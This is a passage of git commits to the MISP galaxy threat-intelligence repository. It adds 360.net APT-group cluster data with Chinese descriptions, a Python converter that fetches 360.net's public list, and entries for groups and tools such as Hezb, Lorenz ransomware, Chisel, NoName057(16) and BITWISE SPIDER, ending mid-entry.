"政府", + "军事等重要机构" + ] + }, + "uuid": "3d9f700c-5eb5-5d36-a6e7-47b55f2844cd", + "value": "奇幻熊 - APT-C-20" + }, + { + "description": "沙虫组织的主要目标领域有：政府、教育、能源机构和电信运营商，进一步主要针对欧美国家政府、北约，以及乌克兰政府展开间谍活动，其攻击在2018年呈上升趋势。该组织经常利用鱼叉式网络钓鱼方法。", + "meta": { + "country": "russia", + "refs": [ + "https://apt.360.net/report/apts/87.html", + "https://apt.360.net/report/apts/69.html" + ], + "suspected-victims": [ + "欧美国家", + "乌克兰", + "北约" + ], + "synonyms": [ + "SandWorm" + ], + "target-category": [ + "政府", + "教育", + "能源机构", + "电信运营商" + ] + }, + "uuid": "0fdab65b-3e2b-5fd8-be36-cc18c7bcc1d7", + "value": "沙虫 - APT-C-13" + }, + { + "description": "肚脑虫组织（APT-C-35），是一个来自于印度的境外APT组织，该组织已持续活跃了3年。 肚脑虫组织主要针对巴基斯坦，南亚等国家地区进行网络间谍活动，以窃取敏感信息为主。 相关攻击活动最早可以追溯到2016年，至今还非常活跃。", + "meta": { + "country": "india", + "refs": [ + "https://apt.360.net/report/apts/102.html", + "https://apt.360.net/report/apts/32.html" + ], + "suspected-victims": [ + "巴基斯坦等南亚国家" + ], + "synonyms": [ + "donot" + ], + "target-category": [ + "政府" + ] + }, + "uuid": "7592ce56-59df-5cbc-9251-6928ff23e6a5", + "value": "肚脑虫 - APT-C-35" + }, + { + "description": "蔓灵花组织利用鱼叉邮件以及系统漏洞等方式，主要攻击政府、电力和工业相关单位，以窃取敏感信息为主。国外样本最早出现在2013年11月，样本编译时间集中出现在2015年7月至2016年9月期间，2016年网络安全公司Forcepoint最早报告了这一组织，随后被多次发现，至今还非常活跃。", + "meta": { + "country": "india", + "refs": [ + "https://apt.360.net/report/apts/5.html" + ], + "suspected-victims": [ + "中国", + "巴基斯坦" + ], + "synonyms": [], + "target-category": [ + "工业", + "电力", + "政府" + ] + }, + "uuid": "4d76da10-0bfe-51d4-b071-61593c8f1983", + "value": "蔓灵花 - APT-C-08" + }, + { + "description": "索伦之眼组织（APT-C-16），又称Sauron、Strider。该组织主要针对中国、俄罗斯等多个国家进行网络间谍活动，其中以窃取敏感信息为主。相关攻击活动最早可以追溯到2010年，至今还非常活跃。该组织整个攻击过程中是高度隐蔽，且针对性极强，对特定目标采用定制的恶意程序或通信设施，不会重复使用相关攻击资源。相关恶意代码复杂度可以与方程式（Equation）媲美，其综合能力不弱于震网（Stuxnet）、火焰（Flame）等APT组织。", + "meta": { + "country": "america", + "refs": [ + "https://apt.360.net/report/apts/70.html" + ], + "suspected-victims": [ + "中国", + "俄罗斯", + "比利时", + "瑞典" + ], + "synonyms": [ + "Sauron", + "Strider" + ], + "target-category": [ + "军事", + "外交", + "政府等重要机构" + ] + }, + "uuid": "24ce266c-1860-5e04-a107-48d1d39f8ebf", + "value": "索伦之眼 - APT-C-16" + }, + { + "description": "潜行者组织主要搜集东南亚国家政府机构、国防部门、情报机构等机构敏感信息，其中针对我国就进行了超十年左右的网络攻击。主要针对政府、通信等领域重点单位，攻击最早可以关联追溯到2009年，最早的样本编译时间为2008年，攻击活动一直持续至今。", + "meta": { + "country": "southeast", + "refs": [ + "https://apt.360.net/report/apts/82.html" + ], + "suspected-victims": [ + "中国及东南亚" + ], + "synonyms": [], + "target-category": [ + "政府", + "外交", + "通讯", + "智库" + ] + }, + "uuid": "4a2a754b-e59b-5f31-b9ca-1d0f920185b2", + "value": "潜行者 - APT-C-30" + }, + { + "description": "“响尾蛇”APT组织又名T-APT-04，疑似来自印度，其最早活跃时间可追溯到2012年，主要针对巴基斯坦等南亚国家的军事目标进行定向攻击。", + "meta": { + "country": "india", + "refs": [ + "https://apt.360.net/report/apts/92.html" + ], + "suspected-victims": [ + "巴基斯坦" + ], + "synonyms": [ + "SideWinder" + ], + "target-category": [ + "政府", + "军事" + ] + }, + "uuid": "3dada716-34c3-506e-aa3a-1889bd975b4b", + "value": "响尾蛇 - APT-C-24" + }, + { + "description": "APT-C-28组织，又名ScarCruft、APT37 （Reaper）、Group123，是一个来自于东北亚地区的境外APT组织，其相关攻击活动最早可追溯到2012年，且至今依然保持活跃状态。APT-C-28组织主要针对韩国等亚洲国家进行网络间谍活动，其中以窃取战略军事、政治、经济利益相关的情报和敏感数据为主。", + "meta": { + "country": "korea", + "refs": [ + "https://apt.360.net/report/apts/79.html" + ], + "suspected-victims": [ + "俄罗斯", + "中国等周边国家" + ], + "synonyms": [ + "APT37（Reaper）", + "Group123" + ], + "target-category": [ + "政府", + "媒体" + ] + }, + "uuid": "96c3508e-f5f9-52b4-9d1e-b246d68f643d", + "value": "ScarCruft - APT-C-28" + }, + { + "description": "Turla组织的主要目标有外交、政治、私企，攻击目标遍布全球，其中以欧洲地区为主，国内也有中招用户。在攻击手法上是俄罗斯网军中技术实力很强的主力部队，曾经有过攻击卫星的历史。", + "meta": { + "country": "russia", + "refs": [ + "https://apt.360.net/report/apts/88.html", + "https://apt.360.net/report/apts/81.html" + ], + "suspected-victims": [ + "中国", + "俄罗斯", + "驻欧美国家外交机关" + ], + "synonyms": [ + "uroburos" + ], + "target-category": [ + "外交", + "金融", + "工业" + ] + }, + "uuid": "1972273e-2152-558c-b575-222c6d2f3e10", + "value": "Turla - APT-C-29" + }, + { + "description": "Carbanak(即Anunak)攻击组织，是一个跨国网络犯罪团伙。2013年起，该犯罪团伙总计向全球约30个国家和地区的100家银行、电子支付系统和其他金融机构发动了攻击，目前相关攻击活动还很活跃。", + "meta": { + "country": "russia", + "refs": [ + "https://apt.360.net/report/apts/68.html" + ], + "suspected-victims": [ + "全球" + ], + "synonyms": [ + "Anunak" + ], + "target-category": [ + "外贸", + "金融" + ] + }, + "uuid": "a4aba29f-fb91-50d9-bdf9-2b184922a200", + "value": "Carbanak - APT-C-11" + }, + { + "description": "“飞鲨”行动相关攻击行动最早可以追溯到2013年1月，持续活跃到2014年3月，主要针对中国航空航天领域，目的是窃取目标用户敏感数据信息，近期暂无监控到相关攻击事件。", + "meta": { + "country": "india", + "refs": [ + "https://apt.360.net/report/apts/71.html" + ], + "suspected-victims": [ + "中国" + ], + "synonyms": [], + "target-category": [ + "基础设施", + "IT", + "教育", + "科研", + "航空航天" + ] + }, + "uuid": "c47e631c-a3d7-509b-a87f-a7e87f8fab6c", + "value": "飞鲨 - APT-C-17" + }, + { + "description": "APT-C-40(方程式)是史上最强网络犯罪组织。该团伙已活跃近20年，并且在攻击复杂性和攻击技巧方面超越了历史上所有的网络攻击组织，并被认为是著名的震网（Stuxnet）和火焰（Flame）病毒幕后的操纵者。", + "meta": { + "country": "america", + "refs": [ + "https://apt.360.net/report/apts/85.html" + ], + "suspected-victims": [ + "中国", + "俄罗斯", + "伊朗", + "巴基斯坦" + ], + "synonyms": [], + "target-category": [ + "关键制", + "工业科研", + "航空航天", + "政府军事等重要机构" + ] + }, + "uuid": "54034021-1998-5ddf-93e7-f1f56d172f99", + "value": "方程式 - APT-C-40" + }, + { + "description": "透明部落（Transparent Tribe）别名APT36、ProjectM、C-Major，是一个具有南亚背景的APT组织，其长期针对周边国家和地区（特别是印度）的政治、军事进行定向攻击活动，其开发有自己的专属木马CrimsonRAT，还曾被发现广泛传播USB蠕虫。TransparentTribe也曾经对Donot的恶意文档宏代码进行模仿，两者高度相似。之前透明部落也曾经模仿响尾蛇组织进行攻击。其一直针对印度的政府、公共部门、各行各业包括但不限于医疗、电力、金融、制造业等进行攻击和信息窥探。", + "meta": { + "country": "southeast", + "refs": [], + "suspected-victims": [ + "印度" + ], + "synonyms": [ + "APT36", + "ProjectM", + "C-Major" + ], + "target-category": [ + "政府", + "军事" + ] + }, + "uuid": "084517bc-b8e7-5c86-a218-3f19e1379f3e", + "value": "透明部落 - APT-C-56" + }, + { + "description": "在2020年起，我们发现南亚地区中新的境外APT组织活动，最早活跃可追溯到2020年1月，至今还很活跃。该APT组织的攻击活动主要针对巴基斯坦、孟加拉等国家的国家机构、军工、科研、国防等重要领域进行攻击。与南亚地区中活跃的蔓灵花、响尾蛇等APT组织暂无关联，属于新的攻击组织。\n该APT组织通过鱼叉邮件配合社会工程学手段进行渗透，向目标设备传播恶意程序，暗中控制目标设备，持续窃取设备上的敏感文件。由于其使用的C2、载荷下发、窃取的数据存储等均依赖于云服务，且使用的木马为python语言编写，所以我们将其命名为腾云蛇，编号为APT-C-61。", + "meta": { + "country": "southeast", + "refs": [], + "suspected-victims": [ + "巴基斯坦", + "孟加拉" + ], + "synonyms": [], + "target-category": [ + "政府", + "军事", + "科研", + "国防" + ] + }, + "uuid": "724da0c4-ca9e-54be-a15c-8204472d8c99", + "value": "腾云蛇 - APT-C-61" + }, + { + "description": "Kimsuky 是位于朝鲜的APT组织,又名(Mystery Baby, Baby Coin, Smoke Screen, BabyShark, Cobra Venom)等，最早由Kaspersky在2013年披露，该组织长期针对于韩国的智囊团、政府外交、新闻组织、教育学术组织等进行攻击，在过去几年里，他们将攻击目标扩大到包括美国、俄罗斯和欧洲各国在内的国家。主要目的为窃取情报、间谍活动等。该组织十分活跃，常用的攻击载荷为带有漏洞的hwp文件、恶意宏文件、释放载荷的PE文件等。", + "meta": { + "country": "korea", + "refs": [], + "suspected-victims": [ + "韩国" + ], + "synonyms": [], + "target-category": [ + "政府", + "教育", + "外交", + "媒体" + ] + }, + "uuid": "84e18657-3995-5837-88f1-f823520382a8", + "value": "Kimsuky - APT-C-55" + }, + { + "description": "2019年初，国外安全厂商披露了一起疑似卢甘斯克背景的APT组织针对乌克兰政府的定向攻击活动，根据相关报告分析该组织的攻击活动至少可以追溯到2014年，曾大量通过网络钓鱼、水坑攻击等方式针对乌克兰政府机构进行攻击。", + "meta": { + "country": "Ukraine", + "refs": [ + "https://apt.360.net/report/apts/169.html" + ], + "suspected-victims": [ + "乌克兰" + ], + "synonyms": [ + "APT-C-46" + ], + "target-category": [ + "政府" + ] + }, + "uuid": "a97037e7-7c3b-5cc2-ab4c-bd0432bc247a", + "value": "卢甘斯克组织 - APT-C-46" + }, + { + "description": "360 安全大脑检测到多起 ClickOnce 恶意程序的攻击活动，通过 360 高级威胁研究院的深入研判分析，发现这是一起来自半岛地区未被披露 APT 组织的攻击行动，该组织的攻击活动最早可以追溯到 2018 年。目前没有任何安全厂商公开披露该组织的攻击活动，360根据用ClickOnce 攻击技术的谐音，将其命名为“旺刺”组织。", + "meta": { + "country": "korea", + "refs": [ + "https://apt.360.net/report/apts/168.html" + ], + "suspected-victims": [ + "中国", + "朝鲜半岛" + ], + "synonyms": [ + "APT-C-47" + ], + "target-category": [ + "商贸机构" + ] + }, + "uuid": "0660d5e2-f8cf-5d5e-95c8-e5af7115979e", + "value": "旺刺组织 - APT-C-47" + }, + { + "description": "Domestic Kitten组织（APT-C-50）最早被国外安全厂商披露，自2016年以来一直在进行广泛而有针对性的攻击，攻击目标包括伊朗内部持不同政见者和反对派力量，以及ISIS的拥护者和主要定居在伊朗西部的库尔德少数民族。值得注意的是，所有攻击目标都是伊朗公民。伊斯兰革命卫队（IRGC）、情报部、内政部等伊朗政府机构可能为该组织提供支持", + "meta": { + "country": "Iran", + "refs": [ + "https://apt.360.net/report/apts/166.html" + ], + "suspected-victims": [ + "伊朗", + "阿富汗", + "伊拉克", + "英国" + ], + "synonyms": [ + "APT-C-50" + ], + "target-category": [ + "政府" + ] + }, + "uuid": "a6636926-ffe4-5974-9be0-34ab5dcbd59f", + "value": "DomesticKitten - APT-C-50" + }, + { + "description": "APT-C-32", + "meta": { + "country": "Israel", + "refs": [], + "suspected-victims": [], + "synonyms": [], + "target-category": [] + }, + "uuid": "bf77827a-e0f1-504f-815c-4bccfe72b644", + "value": "SandCat - APT-C-32" + }, + { + "description": "APT-C-48", + "meta": { + "country": "india", + "refs": [], + "suspected-victims": [ + "中国" + ], + "synonyms": [], + "target-category": [ + "教育", + "军事" + ] + }, + "uuid": "34d75138-389f-5555-85e9-f3ca5a9cce8f", + "value": "APT_CNC - APT-C-48" + }, + { + "description": "蓝色魔眼（APT-C-41），又被称为Promethium、StrongPity，该APT组织最早的攻击活动可以追溯到2012年。该组织主要针对意大利、土耳其、比利时、叙利亚、欧洲等地区和国家进行攻击活动。360安全大脑监测到该组织在2020年1月首次针对中国进行了攻击活动，并捕获到了该组织最新V4版本的攻击组件。经过360高级威胁研究院的深入分析研判，此次攻击的针对性极强，是该组织罕见地针对我国相关重要机构发起的首起定向攻击行动。由于是首次捕获和披露该组织对我国的攻击，我们为其分配了新的编号APT-C-41，并根据该组织活跃地区的文化特色将其命名为“蓝色魔眼”。", + "meta": { + "country": "trq", + "refs": [ + "https://apt.360.net/report/apts/158.html" + ], + "suspected-victims": [ + "欧洲", + "意大利", + "土耳其", + "比利时", + "叙利亚" + ], + "synonyms": [ + "StrongPity" + ], + "target-category": [ + "基础设施" + ] + }, + "uuid": "75122408-5db4-5ac2-a156-88a8f149e738", + "value": "蓝色魔眼 - APT-C-41" + }, + { + "description": "Machete", + "meta": { + "country": "namerica", + "refs": [ + "https://apt.360.net/report/apts/159.html" + ], + "suspected-victims": null, + "synonyms": [ + "Machete" + ], + "target-category": null + }, + "uuid": "d0b9840d-efe2-5200-89d1-2f1a37737e30", + "value": "Machete - APT-C-43" + }, + { + "description": "APT-C-53", + "meta": { + "country": "russia", + "refs": [], + "suspected-victims": [], + "synonyms": [], + "target-category": [] + }, + "uuid": "ca52d879-f02b-531e-89ff-817ffc23ce35", + "value": "Gamaredon - APT-C-53" + }, + { + "description": "360烽火实验室联合360高级威胁研究院发现一起针对阿拉伯语地区的长达三年的多次网络攻击活动。该攻击活动自2017年10月开始至今，攻击平台主要为Windows和Android。通过分析，我们发现此次攻击活动来自阿尔及利亚，主要利用钓鱼网站和第三方文件托管网站进行载荷投递，并且使用社交媒体进行传播，受害者主要分布在阿拉伯语地区，其中包含疑似具有军事背景的相关人员。根据此次攻击活动的伪装对象和攻击目标，我们认为该组织目的是为了获取情报先机。根据该组织所属国家的地理位置以及其他特点，我们将其命名为北非狐（APT-C-44）。", + "meta": { + "country": "algeria", + "refs": [ + "https://apt.360.net/report/apts/157.html" + ], + "suspected-victims": null, + "synonyms": [], + "target-category": null + }, + "uuid": "367bfb72-da65-5886-a333-389299470722", + "value": "北非狐 - APT-C-44" + }, + { + "description": "WellMess组织是一个一直未被业界认定的APT组织，多方面数据显示该组织在2017至2019年间的攻击活动开始频繁活跃，其中日本互联网应急响应中心于2018年曾报道过该组织的相关攻击活动，但并未将其归属为APT组织。\n\n在2019年，360高级威胁研究院捕获发现了WellMess组织一系列的APT攻击活动，这一系列的攻击活动最早开始于2017年12月，一直持续到2019年12月。在对WellMess组织的攻击研判过程中，我们确定这是一个具备自身独特攻击特点和精密攻击技战术的APT组织，为其分配了APT-C-42的专属APT组织编号。", + "meta": { + "country": "russia", + "refs": [ + "https://apt.360.net/report/apts/136.html" + ], + "suspected-victims": null, + "synonyms": [], + "target-category": [ + "IT通信行业" + ] + }, + "uuid": "6560f0cf-bbbd-5bb7-8dad-b4c8ea23704f", + "value": "WellMess - APT-C-42" + } + ], + "version": 1 +} diff --git a/galaxies/360net.json b/galaxies/360net.json new file mode 100644 index 0000000..275ea08 --- /dev/null +++ b/galaxies/360net.json @@ -0,0 +1,9 @@ +{ + "description": "Known or estimated adversary groups as identified by 360.net.", + "icon": "user-secret", + "name": "360.net Threat Actors", + "namespace": "360net", + "type": "360net-threat-actor", + "uuid": "20de4abf-f000-48ec-a929-3cdc5c2f3c23", + "version": 1 +} diff --git a/tools/gen_360net.py b/tools/gen_360net.py new file mode 100755 index 0000000..b2c3eec --- /dev/null +++ b/tools/gen_360net.py @@ -0,0 +1,87 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# +# +# A simple convertor of the https://apt.360.net to a MISP Galaxy datastructure. +# Copyright (C) 2022 MISP Project +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + +import os +import uuid +import json +import requests + +import argparse + +parser = argparse.ArgumentParser(description="Create the 360.net APTlist based on their website data.") +args = parser.parse_args() + +r = requests.get("https://apt.360.net/apts/list", timeout=5) +list_data = r.json() + +clusters = [] +for actor in list_data['data']['list']: + country_code = actor['location']['code'] # LATER find a magic way to convert this to a 2-letter country code + try: + refs = [actor['article']['full_url']] + except TypeError: + refs = [] + for ref in actor['recommends']: + refs.append(ref['url']) + refs = list(set(refs)) + clusters.append({ + 'value': f"{actor['name']} - {actor['code']}", + 'description': actor['description'], + 'uuid': str(uuid.uuid5(uuid.UUID("9319371e-2504-4128-8410-3741cebbcfd3"), actor['code'])), + 'meta': { + 'synonyms': actor['alias'], + 'country': country_code, + 'refs': refs, + 'target-category': actor['attack_industry'], + 'suspected-victims': actor['attack_region'], + # LATER find a way to convert attack-method to MITRE ATT&CK + } + }) + +json_galaxy = { + 'icon': "user-secret", + 'name': "360.net Threat Actors", + 'description': "Known or estimated adversary groups as identified by 360.net.", + 'namespace': "360net", + 'type': "360net-threat-actor", + 'uuid': "20de4abf-f000-48ec-a929-3cdc5c2f3c23", + 'version': 1 +} + +json_cluster = { + 'authors': ["360.net"], + 'category': 'actor', + 'name': "360.net Threat Actors", + 'description': "Known or estimated adversary groups as identified by 360.net.", + 'source': 'https://apt.360.net/aptlist', + 'type': "360net-threat-actor", + 'uuid': "20de4abf-f000-48ec-a929-3cdc5c2f3c23", + 'values': clusters, + 'version': 1 +} + +# save the Galaxy and Cluster file +with open(os.path.join('..', 'galaxies', '360net.json'), 'w') as f: + json.dump(json_galaxy, f, indent=2) + +with open(os.path.join('..', 'clusters', '360net.json'), 'w') as f: + json.dump(json_cluster, f, indent=2) + +print("All done, please don't forget to ./jq_all_the_things.sh, commit, and then ./validate_all.sh.") From b011ddee5bc589b2d84cc562717dea539ed1aacd Mon Sep 17 00:00:00 2001 From: Christophe Vandeplas Date: Tue, 13 Sep 2022 22:12:51 +0200 Subject: [PATCH 119/167] fix: [360net] fixes null entries in lists --- clusters/360net.json | 46 +++++++++++++++----------------------------- tools/gen_360net.py | 13 ++++++++----- 2 files changed, 24 insertions(+), 35 deletions(-) diff --git a/clusters/360net.json b/clusters/360net.json index 506c067..95e45ec 100644 --- a/clusters/360net.json +++ b/clusters/360net.json @@ -14,8 +14,8 @@ "meta": { "country": "america", "refs": [ - "https://apt.360.net/report/apts/96.html", - "https://apt.360.net/report/apts/12.html" + "https://apt.360.net/report/apts/12.html", + "https://apt.360.net/report/apts/96.html" ], "suspected-victims": [ "中国" @@ -38,9 +38,9 @@ "meta": { "country": "vietnam", "refs": [ + "https://apt.360.net/report/apts/94.html", "https://apt.360.net/report/apts/1.html", - "https://apt.360.net/report/apts/93.html", - "https://apt.360.net/report/apts/94.html" + "https://apt.360.net/report/apts/93.html" ], "suspected-victims": [ "中国", @@ -88,9 +88,9 @@ "meta": { "country": "mideast", "refs": [ + "https://apt.360.net/report/apts/26.html", "https://apt.360.net/report/apts/100.html", - "https://apt.360.net/report/apts/98.html", - "https://apt.360.net/report/apts/26.html" + "https://apt.360.net/report/apts/98.html" ], "suspected-victims": [ "叙利亚" @@ -110,8 +110,8 @@ "country": "korea", "refs": [ "https://apt.360.net/report/apts/9.html", - "https://apt.360.net/report/apts/101.html", - "https://apt.360.net/report/apts/90.html" + "https://apt.360.net/report/apts/90.html", + "https://apt.360.net/report/apts/101.html" ], "suspected-victims": [ "中国", @@ -139,9 +139,7 @@ "refs": [ "https://apt.360.net/report/apts/11.html" ], - "suspected-victims": [], - "synonyms": [], - "target-category": [] + "synonyms": [] }, "uuid": "03e70e52-ec27-5961-bb53-d4c8c737addc", "value": "黄金雕 - APT-C-34" @@ -153,9 +151,7 @@ "refs": [ "https://apt.360.net/report/apts/83.html" ], - "suspected-victims": [], - "synonyms": [], - "target-category": [] + "synonyms": [] }, "uuid": "c111ae65-f889-56b0-b266-f54342977da5", "value": "盲眼鹰 - APT-C-36" @@ -310,7 +306,6 @@ "target-category": [ "政府", "航空航天、教育", - null, "军事" ] }, @@ -408,8 +403,8 @@ "meta": { "country": "russia", "refs": [ - "https://apt.360.net/report/apts/87.html", - "https://apt.360.net/report/apts/69.html" + "https://apt.360.net/report/apts/69.html", + "https://apt.360.net/report/apts/87.html" ], "suspected-victims": [ "欧美国家", @@ -783,9 +778,7 @@ "meta": { "country": "Israel", "refs": [], - "suspected-victims": [], - "synonyms": [], - "target-category": [] + "synonyms": [] }, "uuid": "bf77827a-e0f1-504f-815c-4bccfe72b644", "value": "SandCat - APT-C-32" @@ -838,11 +831,9 @@ "refs": [ "https://apt.360.net/report/apts/159.html" ], - "suspected-victims": null, "synonyms": [ "Machete" - ], - "target-category": null + ] }, "uuid": "d0b9840d-efe2-5200-89d1-2f1a37737e30", "value": "Machete - APT-C-43" @@ -852,9 +843,7 @@ "meta": { "country": "russia", "refs": [], - "suspected-victims": [], - "synonyms": [], - "target-category": [] + "synonyms": [] }, "uuid": "ca52d879-f02b-531e-89ff-817ffc23ce35", "value": "Gamaredon - APT-C-53" @@ -866,9 +855,7 @@ "refs": [ "https://apt.360.net/report/apts/157.html" ], - "suspected-victims": null, - "synonyms": [], - "target-category": null + "synonyms": [] }, "uuid": "367bfb72-da65-5886-a333-389299470722", "value": "北非狐 - APT-C-44" @@ -880,7 +867,6 @@ "refs": [ "https://apt.360.net/report/apts/136.html" ], - "suspected-victims": null, "synonyms": [], "target-category": [ "IT通信行业" diff --git a/tools/gen_360net.py b/tools/gen_360net.py index b2c3eec..9633516 100755 --- a/tools/gen_360net.py +++ b/tools/gen_360net.py @@ -41,7 +41,7 @@ for actor in list_data['data']['list']: for ref in actor['recommends']: refs.append(ref['url']) refs = list(set(refs)) - clusters.append({ + cluster = { 'value': f"{actor['name']} - {actor['code']}", 'description': actor['description'], 'uuid': str(uuid.uuid5(uuid.UUID("9319371e-2504-4128-8410-3741cebbcfd3"), actor['code'])), @@ -49,11 +49,14 @@ for actor in list_data['data']['list']: 'synonyms': actor['alias'], 'country': country_code, 'refs': refs, - 'target-category': actor['attack_industry'], - 'suspected-victims': actor['attack_region'], - # LATER find a way to convert attack-method to MITRE ATT&CK } - }) + } + if actor['attack_industry']: + cluster['meta']['target-category'] = [i for i in actor['attack_industry'] if i] + if actor['attack_region']: + cluster['meta']['suspected-victims'] = [i for i in actor['attack_region'] if i] + # LATER find a way to convert attack-method to MITRE ATT&CK + clusters.append(cluster) json_galaxy = { 'icon': "user-secret", From 1c8d82cfcc6ca14791d2c3311181170449de19dc Mon Sep 17 00:00:00 2001 From: Alexandre Dulaunoy Date: Wed, 14 Sep 2022 11:00:33 +0200 Subject: [PATCH 120/167] new: [threat-actor] hezb added --- clusters/threat-actor.json | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index a4ff9d4..48fd6c6 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9725,7 +9725,17 @@ }, "uuid": "1bb64526-cc51-475a-b6bc-af30df9f2fb6", "value": "DangerousSavanna" + }, + { + "description": "Hezb is a group deploying cryptominers when new exploit are available for public facing vulnerabilities. The name is after the miner process they deploy.", + "meta": { + "refs": [ + "https://www.pwndefend.com/2022/06/04/cve-2022-26134-honeypot-payload-analysis-example/" + ] + }, + "uuid": "fd82cd40-9306-4285-8fae-ad29a9711603", + "value": "Hezb" } ], - "version": 246 + "version": 247 } From 021fcd2c918d12916bfde08558720d34d2a18b92 Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Thu, 15 Sep 2022 10:29:46 +0200 Subject: [PATCH 121/167] add Lorenz ransomware --- clusters/ransomware.json | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/clusters/ransomware.json b/clusters/ransomware.json index b8f79d5..eca2ed9 100644 --- a/clusters/ransomware.json +++ b/clusters/ransomware.json @@ -24589,7 +24589,20 @@ }, "uuid": "995c3772-dbda-4a2a-9e28-c47740d599a3", "value": "Maui ransomware" + }, + { + "description": "Lorenz is a ransomware group that has been active since at least February 2021 and like many ransomware groups, performs double-extortion by exfiltrating data before encrypting systems.", + "meta": { + "ransomnotes-refs": [ + "https://marvel-b1-cdn.bc0a.com/f00000000241276/arcticwolf.com/wp-content/uploads/2022/09/Screen-Shot-2022-09-12-at-11.18.04-AM-1024x246.png" + ], + "refs": [ + "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/" + ] + }, + "uuid": "d513199e-7f21-43fd-9610-ed708c3f6409", + "value": "Lorenz Ransomware" } ], - "version": 107 + "version": 108 } From 0903300b75ab4f6c6245003e22bab1393eb15faf Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Thu, 15 Sep 2022 13:24:49 +0200 Subject: [PATCH 122/167] Add Chisel --- clusters/tool.json | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/clusters/tool.json b/clusters/tool.json index 8737a0e..67d5739 100644 --- a/clusters/tool.json +++ b/clusters/tool.json @@ -8592,7 +8592,17 @@ ], "uuid": "6fc4beee-b922-4d25-833d-8fb574a3c56e", "value": "BumbleBee" + }, + { + "description": "Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network. Benign in itself, but used by threat actors.", + "meta": { + "refs": [ + "https://github.com/jpillora/chisel" + ] + }, + "uuid": "f493dede-9134-44db-a00d-aa4866bfd555", + "value": "Chisel" } ], - "version": 154 + "version": 155 } From 8202a7f48f6e6cca3d43387c123500a5bb4440aa Mon Sep 17 00:00:00 2001 From: Delta-Sierra Date: Thu, 15 Sep 2022 15:39:47 +0200 Subject: [PATCH 123/167] Add PlugX ref --- clusters/rat.json | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/clusters/rat.json b/clusters/rat.json index dd42ee5..c87ed04 100644 --- a/clusters/rat.json +++ b/clusters/rat.json @@ -1941,7 +1941,8 @@ "date": "2005 or 2008", "refs": [ "https://www.lastline.com/labsblog/an-analysis-of-plugx-malware/", - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PLUGX" + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PLUGX", + "https://secjoes-reports.s3.eu-central-1.amazonaws.com/Dissecting+PlugX+to+Extract+Its+Crown+Jewels.pdf" ], "synonyms": [ "Korplug", @@ -3536,5 +3537,5 @@ "value": "Ragnatela" } ], - "version": 39 + "version": 40 } From 580d2c693132ba7a08a69e60e3f269acd169de22 Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Fri, 16 Sep 2022 20:00:45 -0600 Subject: [PATCH 124/167] [threat-actors] Add NoName057(16) --- clusters/threat-actor.json | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 48fd6c6..fa15698 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9735,6 +9735,33 @@ }, "uuid": "fd82cd40-9306-4285-8fae-ad29a9711603", "value": "Hezb" + }, + { + "description": "NoName057(16) is performing DDoS attacks on websites belonging to governments, news agencies, armies, suppliers, telecommunications companies, transportation authorities, financial institutions, and more in Ukraine and neighboring countries supporting Ukraine, like Ukraine itself, Estonia, Lithuania, Norway, and Poland.", + "meta": { + "cfr-suspected-victims": [ + "Ukraine", + "Estonia", + "Lithuania", + "Norway", + "Poland" + ], + "cfr-target-category": [ + "Financial", + "Government", + "Military", + "Telecommunications", + "Transportation" + ], + "cfr-type-of-incident": [ + "Denial of service" + ], + "refs": [ + "https://decoded.avast.io/martinchlumecky/bobik/" + ] + }, + "uuid": "e62937d0-dec6-4c39-a836-e43b1d138df4", + "value": "NoName057(16)" } ], "version": 247 From 22a39f4fdccdd188fd54af1458de8e476c917cce Mon Sep 17 00:00:00 2001 From: Mathieu Beligon Date: Tue, 20 Sep 2022 11:23:29 -0700 Subject: [PATCH 125/167] [threat-actors] Add BITWISE SPIDER --- clusters/threat-actor.json | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 1002f75..7cd030f 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9761,6 +9761,42 @@ }, "uuid": "e62937d0-dec6-4c39-a836-e43b1d138df4", "value": "NoName057(16)" + }, + { + "description": "BITWISE SPIDER has recently and quickly become a significant player in the big game hunting (BGH) landscape. Their dedicated leak site (DLS) has received the highest number of victims posted each month since July 2021 compared to other adversary DLSs due to the growing popularity and effectiveness of LockBit 2.0.", + "meta": { + "refs": [ + "https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/", + "https://socradar.io/lockbit-3-another-upgrade-to-worlds-most-active-ransomware/", + "https://security.packt.com/understanding-lockbit/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-lockbit" + ] + }, + "related": [ + { + "dest-uuid": "8eda8bf1-db5a-412d-8511-45e2f7621d51", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "uses" + }, + { + "dest-uuid": "fd035735-1ab9-419d-a94c-d560612e970b", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "uses" + }, + { + "dest-uuid": 